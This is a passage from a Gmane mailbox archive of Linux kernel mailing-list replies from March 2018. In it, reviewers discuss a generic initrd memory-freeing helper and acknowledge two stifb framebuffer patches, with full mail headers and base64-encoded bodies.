Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522238561 13167 195.159.176.226 (28 Mar 2018 12:02:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 12:02:41 +0000 (UTC)
User-Agent: Mutt/1.9.2 (2017-12-15)
Cc: uclinux-h8-devel@lists.sourceforge.jp, linux-c6x-dev@linux-c6x.org,
 linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, linux-alpha@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net, nios2-dev@lists.rocketboards.org,
 linux-riscv@lists.infradead.org, linux-snps-arc@lists.infradead.org,
 linuxppc-dev@lists.ozlabs.org
To: Shea Levy <shea@shealevy.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Mar 28 14:02:36 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f19ml-0003HL-R1
	for gla-linux-snps-arc@m.gmane.org; Wed, 28 Mar 2018 14:02:36 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=dCYlU4HbO8Z5jUGKBFCTCO4Z9669u9HLTrujFsMeipk=; b=fNP3T32B16Z/I/
	NV88qaXkqEVgJb238g9E9X4t/k3WrFI2UkfhvuPu0yVK1e916c8m42lAMMdtryey+dt1/42xtIBU+
	jVtpHu6gxu9hFNM+cqWLDrbhcxoPT252bYj6442onibyihY1Ai2oB6yXJAPerPT8+tMbk6k/y/ON6
	VgbvgKUOKmWMeu5xlb+bOGvWf6uXfrBN6zgEI9Y3LyPlPSPjhBBJgpGlJwCa72gpIYWg3CfyG342V
	6MnnA51JQXlybet/lClV/r2/aBXWc5AagVCnO7zaMIjyjBsb8/53dtraL7rhcWWsa8wSyVII2v4UG
	ShoVb7mOzYaodf8M9q0g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f19oo-0003G1-MR; Wed, 28 Mar 2018 12:04:42 +0000
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.90_1 #2 (Red
 Hat Linux)) id 1f19om-0003Ev-78; Wed, 28 Mar 2018 12:04:40 +0000
Content-Disposition: inline
In-Reply-To: <20180324174458.26423-2-shea@shealevy.com>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3686 gmane.linux.ports.parisc:28427 gmane.linux.ports.sh.devel:56750 gmane.linux.kernel:2727478 gmane.linux.ports.alpha:4886 gmane.linux.uml.devel:16708 gmane.linux.ports.ppc64.devel:155355
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3686>

> +#ifdef CONFIG_INITRAMFS_GENERIC_UNLOAD
> +void free_initrd_mem(unsigned long start, unsigned long end)
> +{
> +       free_reserved_area((void *)start, (void *)end, -1, "initrd");
> +}
> +#endif

Given how trivial this is and how many architectures can use it I'd
reverse the polarity and add a CONFIG_HAVE_ARCH_FREE_INITRD_MEM
instead.

From - Thu Nov 08 21:41:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: Re: [PATCH 01/16] initrd: Add generic code path for common initrd
 unloading logic.
Date: Wed, 28 Mar 2018 14:23:47 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <CAMuHMdXwEL-gLxiVJwuxwRtkyhR=vEm3GP4dzJMpc1nS8AKxKQ@mail.gmail.com>
References: <20180324174458.26423-1-shea@shealevy.com> <20180324174458.26423-2-shea@shealevy.com>
 <20180328120440.GB1838@infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1522239713 26907 195.159.176.226 (28 Mar 2018 12:21:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 12:21:53 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>, alpha <linux-alpha@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        arcml <linux-snps-arc@lists.infradead.org>,
        linux-c6x-dev@linux-c6x.org,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-m68k <linux-m68k@lists.linux-m68k.org>,
        nios2-dev@lists.rocketboards.org,
        Openrisc <openrisc@lists.librecores.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        Linux-sh list <linux-sh@vger.kernel.org>,
        uml-devel <user-mode-linux-devel@lists.sourceforge.net>
To: Christoph Hellwig <hch@infradead.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Mar 28 14:21:48 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f1A5L-0006sk-Rw
	for glk-linux-kernel-4@m.gmane.org; Wed, 28 Mar 2018 14:21:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752479AbeC1MXx (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 28 Mar 2018 08:23:53 -0400
Original-Received: from mail-qt0-f196.google.com ([209.85.216.196]:43981 "EHLO
        mail-qt0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750799AbeC1MXs (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 28 Mar 2018 08:23:48 -0400
Original-Received: by mail-qt0-f196.google.com with SMTP id s48so2261209qtb.10;
        Wed, 28 Mar 2018 05:23:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=9RoS2A4VPsD624bAXH71eygUNzAQ2PXT9/E5Gc0ueqs=;
        b=U2wbnIElXcq8Y2XhTsBPRovgTxzsmrAtyMWP87/33ezXtjx2yWSsBnWaxYTtS0i+F4
         KCwK44sah3nYofnLaQH6vpZ85pSBTnyhhEqddKoI5YYFxIv0RotYO0mpdmmymMpBMdA/
         ifEOOJZJ1EdZQt/ERXeugf5C3LXAoVd5E2aVZUN7mMGltzYDKN+/JFL+Sh4fFUPRKCVv
         5mftfoX+qbsMzhlipdeiQc/ewazKizuBwPph649agSA34W596wrhtBsA+zJy4l2rcuon
         4ZA00CwEMD1C/ij/gYJSID5sugD6C/CkdJ9gz4QQqCzUqR8CDYZOY37v9JRHK7RI8Y7S
         ISrA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=9RoS2A4VPsD624bAXH71eygUNzAQ2PXT9/E5Gc0ueqs=;
        b=KqDlY2xvqwudYPk2C3clAjZy0Ljk0CMXoKmp1be9h4blxR9JGiAjXlVjJ2milTFFUK
         lObcWG83UkPSN0Y8I/F4Whg2fhUj3XzRgqFWXoZow5x79npaed2sYl1Q9QY3itIIzI9P
         9BMEs2Kw4kTZpQ3+9r2XixVnErM0exil90RCeTP1rsGV7aBhstPMwDgh+EPpYPFszyfc
         KS5u8brH+jwJ5EjV4V/lUyn0ML+7BPyDW5uN+4z/tm/Fz9US2tK+p9xo77A8DyGL7SaK
         LUGFctnO+OrR7wIHExc28maNIqaF3KB3MatPTh0p+y8xNAdyu3Ko8nEXKg+o8mXL0cGz
         Tf4A==
X-Gm-Message-State: AElRT7EXASFeaIvkloMnkalWoFq9EfzsZuKtAEr3sb5rJ/NCUMqLHApM
        0FtdJKlcaSmyAH7besgySEqUigULhznNZ+EQv8w=
X-Google-Smtp-Source: AIpwx4+85M1xSt9RMsqc6BAqcnXZW4SBZBKhhmoVdfGhMtnIBN7gcB4LVMcA4zajKJ9vr8R1Oy7cKUGDJIwTS86dDyw=
X-Received: by 10.200.27.3 with SMTP id y3mr4949151qtj.161.1522239827630; Wed,
 28 Mar 2018 05:23:47 -0700 (PDT)
Original-Received: by 10.200.54.147 with HTTP; Wed, 28 Mar 2018 05:23:47 -0700 (PDT)
In-Reply-To: <20180328120440.GB1838@infradead.org>
X-Google-Sender-Auth: YPB-fm2qaR066Y_xUJn7hHxFXxM
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2727486 gmane.linux.ports.alpha:4887 gmane.linux.kernel.arc:3687 gmane.linux.ports.parisc:28428 gmane.linux.ports.ppc64.devel:155356 gmane.linux.ports.sh.devel:56751 gmane.linux.uml.devel:16709
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2727486>

On Wed, Mar 28, 2018 at 2:04 PM, Christoph Hellwig <hch@infradead.org> wrote:
>> +#ifdef CONFIG_INITRAMFS_GENERIC_UNLOAD
>> +void free_initrd_mem(unsigned long start, unsigned long end)
>> +{
>> +       free_reserved_area((void *)start, (void *)end, -1, "initrd");
>> +}
>> +#endif
>
> Given how trivial this is and how many architectures can use it I'd
> reverse the polarity and add a CONFIG_HAVE_ARCH_FREE_INITRD_MEM
> instead.

And while adding "special" functionality to the generic version, more and more
users of CONFIG_HAVE_ARCH_FREE_INITRD_MEM will be removed.

Gr{oetje,eeting}s,

                        Geert

-- 
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds


From - Thu Nov 08 21:41:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [PATCH v2 1/2] video/fbdev/stifb: Return -ENOMEM after a failed
 kzalloc() in stifb_init_fb()
Date: Wed, 28 Mar 2018 15:34:08 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <2557729.Jl5E8iEh4q@amdc3058>
References: <7dcd32b6-9691-14a1-29cf-3a746ef5adfc@users.sourceforge.net>
 <889131fe-199c-3bef-0781-00761b807426@users.sourceforge.net>
 <6341951e-df28-0b40-974e-dedd890b5228@users.sourceforge.net>
 <CGME20180328133411epcas2p442e8f8a85d6c6e72ec5a5122519fe5eb@epcas2p4.samsung.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1522243937 26284 195.159.176.226 (28 Mar 2018 13:32:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 13:32:17 +0000 (UTC)
User-Agent: KMail/4.13.3 (Linux/3.13.0-96-generic; KDE/4.13.3; x86_64; ; )
Cc: linux-fbdev@vger.kernel.org, linux-parisc@vger.kernel.org,
 Helge Deller <deller@gmx.de>, kernel-janitors@vger.kernel.org, "James E. J.
 Bottomley" <jejb@parisc-linux.org>, dri-devel@lists.freedesktop.org,
 LKML <linux-kernel@vger.kernel.org>, Rolf Eike Beer <eike-kernel@sf-tec.de>
To: SF Markus Elfring <elfring@users.sourceforge.net>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Wed Mar 28 15:32:12 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1f1BBU-0006jH-3W
	for sf-dri-devel@m.gmane.org; Wed, 28 Mar 2018 15:32:12 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id E69B46E0EE;
	Wed, 28 Mar 2018 13:34:17 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mailout4.samsung.com (mailout4.samsung.com [203.254.224.34])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 65FDE6E0EE
 for <dri-devel@lists.freedesktop.org>; Wed, 28 Mar 2018 13:34:15 +0000 (UTC)
Original-Received: from epcas2p1.samsung.com (unknown [182.195.41.53])
 by mailout4.samsung.com (KnoxPortal) with ESMTP id
 20180328133412epoutp045b2d31c6e835731bfc9ce86968ce131c~gGOaZDqwy0517505175epoutp04M;
 Wed, 28 Mar 2018 13:34:12 +0000 (GMT)
DKIM-Filter: OpenDKIM Filter v2.11.0 mailout4.samsung.com
 20180328133412epoutp045b2d31c6e835731bfc9ce86968ce131c~gGOaZDqwy0517505175epoutp04M
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=samsung.com;
 s=mail20170921; t=1522244052;
 bh=FeiSoWN4PFCEvWBaGret11DBFv98KIr7H1zMbISx0/0=;
 h=From:To:Cc:Subject:Date:In-reply-to:References:From;
 b=TKT4eSKpYrOhxV94wkvg0DlimRIP8r7rjnwCEJ0SY1WCm9Cx/8x9eJqj0hRvISRES
 vP+BwjQCT5dTN+Ar5xV6r35QAEvbJpFTrAj6FMcwQ8wZCeLu7rrkH9Qzo2A8PWGjcE
 q5Ahr9FF7xrD/JM5DeOyIxdSdfii9RbeOHb7azQQ=
Original-Received: from epsmges2p2.samsung.com (unknown [182.195.42.70]) by
 epcas2p2.samsung.com (KnoxPortal) with ESMTP id
 20180328133412epcas2p2aca2ea68af4f8c1bd556dd86b38eec4f~gGOaSEDLS1078810788epcas2p29;
 Wed, 28 Mar 2018 13:34:12 +0000 (GMT)
Original-Received: from epcas2p1.samsung.com ( [182.195.41.53]) by
 epsmges2p2.samsung.com (Symantec Messaging Gateway) with SMTP id
 53.F5.04072.4D99BBA5; Wed, 28 Mar 2018 22:34:12 +0900 (KST)
Original-Received: from epsmgms2p2new.samsung.com (unknown [182.195.42.143]) by
 epcas2p4.samsung.com (KnoxPortal) with ESMTP id
 20180328133411epcas2p442e8f8a85d6c6e72ec5a5122519fe5eb~gGOZVEK022104221042epcas2p4n;
 Wed, 28 Mar 2018 13:34:11 +0000 (GMT)
X-AuditID: b6c32a46-b6dff70000000fe8-4f-5abb99d42807
Original-Received: from epmmp1.local.host ( [203.254.227.16]) by
 epsmgms2p2new.samsung.com (Symantec Messaging Gateway) with SMTP id
 6F.C2.03827.3D99BBA5; Wed, 28 Mar 2018 22:34:11 +0900 (KST)
Original-Received: from amdc3058.localnet ([106.120.53.102]) by mmp1.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5
 2014)) with ESMTPA id <0P6A00JDLZ0X9850@mmp1.samsung.com>; Wed, 28 Mar 2018
 22:34:11 +0900 (KST)
In-reply-to: <6341951e-df28-0b40-974e-dedd890b5228@users.sourceforge.net>
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFmpnleLIzCtJLcpLzFFi42LZdljTVPfKzN1RBkdmK1nc/3Sb0eLK1/ds
 FmterGK3ON+5nNni/rpVrBZbb0lbnOj7wGpxedccNotHpy4wOXB6fPgY53G/+ziTx4VFv1k9
 jvy19mg61c7q8XmTXABbFJdNSmpOZllqkb5dAlfG6Z16Be9ZKs7d2MLSwNjJ0sXIySEhYCIx
 89w7xi5GLg4hgR2MEsc2PGWFcL4zSix93s8IU3Xx/GxmiMRuRolVs5awQThfGSWudt5kA6li
 E7CSmNi+CqiDg0NEwFTiz4kQkBpmgYVMEk0b25lAaoQFsiUuv3kFZrMIqEqsXLeEFcTmFdCU
 uDu3ix3EFhXwktiyD6Seg4NTwFPi54NqiBJBiR+T74GdzSwgL7Fv/1RWCFtH4uyxdWAvSAjc
 ZpN4+LGBFeJqF4n+Z91QHwhLvDq+hR3ClpZ4tmojVEMzo8S3HXuYIRITGCX2rBeCsK0lDh+/
 CLWBT6Lj8F92kIMkBHglOtqgSjwkjhy+zARhO0o8fXOFHRIos5gkHk/qZZzAKDsLyeGzkBw+
 C8nhCxiZVzGKpRYU56anFhsVGOkVJ+YWl+al6yXn525iBCcPLbcdjEvO+RxiFOBgVOLhLYjZ
 FSXEmlhWXJl7iFGCg1lJhPe9xu4oId6UxMqq1KL8+KLSnNTiQ4zSHCxK4rytAS5RQgLpiSWp
 2ampBalFMFkmDk6pBsbm3iadX6emHuSzYGmIOKY56/y92Wud377Zz1Z2QUZsbsHk99+2ZD4/
 VHFc9+auqPKOhG3HY26nNuybK/KEU/9z9LGpTjOmu6zsmLKGYWvFBtXANuX47wx3 
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFrrPLMWRmVeSWpSXmKPExsVy+t9jAd3LM3dHGbx5qmRx/9NtRosrX9+z
 Wax5sYrd4nzncmaL++tWsVpsvSVtcaLvA6vF5V1z2CwenbrA5MDp8eFjnMf97uNMHhcW/Wb1
 OPLX2qPpVDurx+dNcgFsUVw2Kak5mWWpRfp2CVwZp3fqFbxnqTh3YwtLA2MnSxcjJ4eEgInE
 xfOzmbsYuTiEBHYySky/dYkdwvnKKHF54Sw2kCo2ASuJie2rGLsYOThEBEwl/pwIAalhFljM
 JDHj119GkBphgWyJy29eMYHYLAKqEivXLWEFsXkFNCXuzu1iB7FFBbwktuxrZwKZwyngKfHz
 QTXErmOMEi8fHGaHqBeU+DH5Hth1zALyEvv2T2WFsLUk1u88zjSBkX8WkrJZSMpmISlbwMi8
 ilEytaA4Nz232KjAKC+1XK84Mbe4NC9dLzk/dxMjMNi3Hdbq38H4eEn8IUYBDkYlHt6CmF1R
 QqyJZcWVuYcYJTiYlUR432vsjhLiTUmsrEotyo8vKs1JLT7EKM3BoiTOy59/LFJIID2xJDU7
 NbUgtQgmy8TBKdXAeEji8au9h0KOVK+7JZm96U7s9oAJzle/yLR+mTjzcmtJ0YzPJ/JzDq0J
 mjOhU+Ph61QHj2mPPW/McV0obTRL/+WP+DNlsaGntTsb5AuePLf5evfsiZCG//XZQvOXOTq6
 XStcbKE6+9CHDU+L2d6pzfptNXsRf0ZvasY9D7WdbWW6DQdOdKaf/qrEUpyRaKjFXFScCACR
 X4hXcgIAAA==
X-CMS-MailID: 20180328133411epcas2p442e8f8a85d6c6e72ec5a5122519fe5eb
X-Msg-Generator: CA
CMS-TYPE: 102P
X-CMS-RootMailID: 20180328133411epcas2p442e8f8a85d6c6e72ec5a5122519fe5eb
X-RootMTR: 20180328133411epcas2p442e8f8a85d6c6e72ec5a5122519fe5eb
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:217621 gmane.linux.ports.parisc:28429 gmane.linux.kernel.janitors:52322 gmane.linux.kernel:2727544
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/217621>

T24gU3VuZGF5LCBKYW51YXJ5IDA3LCAyMDE4IDEyOjU2OjQ1IFBNIFNGIE1hcmt1cyBFbGZyaW5n
IHdyb3RlOgo+IEZyb206IE1hcmt1cyBFbGZyaW5nIDxlbGZyaW5nQHVzZXJzLnNvdXJjZWZvcmdl
Lm5ldD4KPiBEYXRlOiBTdW4sIDcgSmFuIDIwMTggMTE6MzM6NTkgKzAxMDAKPiAKPiBSZXBsYWNl
IGFuIGVycm9yIGNvZGUgZm9yIHRoZSBpbmRpY2F0aW9uIG9mIGEgbWVtb3J5IGFsbG9jYXRpb24g
ZmFpbHVyZQo+IGluIHRoaXMgZnVuY3Rpb24uCj4gCj4gRml4ZXM6IDFkYTE3N2U0YzNmNDE1MjRl
ODg2YjdmMWI4YTBjMWZjNzMyMWNhYyAoIkxpbnV4LTIuNi4xMi1yYzI6IEluaXRpYWwgZ2l0IHJl
cG9zaXRvcnkgYnVpbGQiKQo+IFN1Z2dlc3RlZC1ieTogUm9sZiBFaWtlIEJlZXIgPGVpa2Uta2Vy
bmVsQHNmLXRlYy5kZT4KPiBTaWduZWQtb2ZmLWJ5OiBNYXJrdXMgRWxmcmluZyA8ZWxmcmluZ0B1
c2Vycy5zb3VyY2Vmb3JnZS5uZXQ+CgpQYXRjaCBxdWV1ZWQgZm9yIDQuMTcsIHRoYW5rcy4KCkJl
c3QgcmVnYXJkcywKLS0KQmFydGxvbWllaiBab2xuaWVya2lld2ljegpTYW1zdW5nIFImRCBJbnN0
aXR1dGUgUG9sYW5kClNhbXN1bmcgRWxlY3Ryb25pY3MKCl9fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fCmRyaS1kZXZlbCBtYWlsaW5nIGxpc3QKZHJpLWRldmVs
QGxpc3RzLmZyZWVkZXNrdG9wLm9yZwpodHRwczovL2xpc3RzLmZyZWVkZXNrdG9wLm9yZy9tYWls
bWFuL2xpc3RpbmZvL2RyaS1kZXZlbAo=


From - Thu Nov 08 21:41:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [PATCH v2 2/2] video/fbdev/stifb: Delete an error message for a
 failed memory allocation in stifb_init_fb()
Date: Wed, 28 Mar 2018 15:36:15 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <1633440.9F4sjlxLYt@amdc3058>
References: <7dcd32b6-9691-14a1-29cf-3a746ef5adfc@users.sourceforge.net>
 <889131fe-199c-3bef-0781-00761b807426@users.sourceforge.net>
 <f92f41b1-d4fa-4ffa-8c19-af4eb0d2d8cf@users.sourceforge.net>
 <CGME20180328133621epcas2p2865976351cf3dc28ac258d2c9530ffcd@epcas2p2.samsung.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1522244069 3401 195.159.176.226 (28 Mar 2018 13:34:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 13:34:29 +0000 (UTC)
User-Agent: KMail/4.13.3 (Linux/3.13.0-96-generic; KDE/4.13.3; x86_64; ; )
Cc: linux-fbdev@vger.kernel.org, linux-parisc@vger.kernel.org,
 Helge Deller <deller@gmx.de>, kernel-janitors@vger.kernel.org, "James E. J.
 Bottomley" <jejb@parisc-linux.org>, dri-devel@lists.freedesktop.org,
 LKML <linux-kernel@vger.kernel.org>, Rolf Eike Beer <eike-kernel@sf-tec.de>
To: SF Markus Elfring <elfring@users.sourceforge.net>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Wed Mar 28 15:34:24 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1f1BDb-0000jF-Tb
	for sf-dri-devel@m.gmane.org; Wed, 28 Mar 2018 15:34:24 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 7DA586E157;
	Wed, 28 Mar 2018 13:36:25 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mailout4.samsung.com (mailout4.samsung.com [203.254.224.34])
 by gabe.freedesktop.org (Postfix) with ESMTPS id D42AA6E157
 for <dri-devel@lists.freedesktop.org>; Wed, 28 Mar 2018 13:36:23 +0000 (UTC)
Original-Received: from epcas2p4.samsung.com (unknown [182.195.41.56])
 by mailout4.samsung.com (KnoxPortal) with ESMTP id
 20180328133622epoutp04d14f2e8520127a315642893d9a1bca93~gGQS7FURI0637506375epoutp04z;
 Wed, 28 Mar 2018 13:36:22 +0000 (GMT)
DKIM-Filter: OpenDKIM Filter v2.11.0 mailout4.samsung.com
 20180328133622epoutp04d14f2e8520127a315642893d9a1bca93~gGQS7FURI0637506375epoutp04z
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=samsung.com;
 s=mail20170921; t=1522244182;
 bh=ULwuoPdalDIPeJhxuqraleTAfbdJFgkAl7eJTTFUYlQ=;
 h=From:To:Cc:Subject:Date:In-reply-to:References:From;
 b=pwhOihhLTHtDny2DqYQP3llaPvl8dLOIFUIyd1+Z3el14ItIrUG960Mxb34iCw+gw
 dDKMLyoWiEoKcMGORuR8sFpAypeTauQVXT6N9e6lGCwZ9Sl+EIJjMDJknJWAZ105p4
 yJJwyRMkAcEcgNG+v7aqq/63ROMPwTE0J6W7y2qc=
Original-Received: from epsmges2p3.samsung.com (unknown [182.195.42.71]) by
 epcas2p4.samsung.com (KnoxPortal) with ESMTP id
 20180328133622epcas2p4d73c80f171d4b04042ea2b17c464c6bf~gGQS0oUdJ0246902469epcas2p4d;
 Wed, 28 Mar 2018 13:36:22 +0000 (GMT)
Original-Received: from epcas2p4.samsung.com ( [182.195.41.56]) by
 epsmges2p3.samsung.com (Symantec Messaging Gateway) with SMTP id
 1C.4B.04072.55A9BBA5; Wed, 28 Mar 2018 22:36:21 +0900 (KST)
Original-Received: from epsmgms2p2new.samsung.com (unknown [182.195.42.143]) by
 epcas2p2.samsung.com (KnoxPortal) with ESMTP id
 20180328133621epcas2p2865976351cf3dc28ac258d2c9530ffcd~gGQSgXgPP0107401074epcas2p2S;
 Wed, 28 Mar 2018 13:36:21 +0000 (GMT)
X-AuditID: b6c32a47-0fbff70000000fe8-e4-5abb9a558286
Original-Received: from epmmp2 ( [203.254.227.17]) by epsmgms2p2new.samsung.com
 (Symantec Messaging Gateway) with SMTP id 47.D2.03827.55A9BBA5; Wed, 28 Mar
 2018 22:36:21 +0900 (KST)
Original-Received: from amdc3058.localnet ([106.120.53.102]) by mmp2.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5
 2014)) with ESMTPA id <0P6A00F6RZ4GST20@mmp2.samsung.com>; Wed, 28 Mar 2018
 22:36:21 +0900 (KST)
In-reply-to: <f92f41b1-d4fa-4ffa-8c19-af4eb0d2d8cf@users.sourceforge.net>
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFmpnleLIzCtJLcpLzFFi42LZdljTQjd01u4og3vLbSzuf7rNaHHl63s2
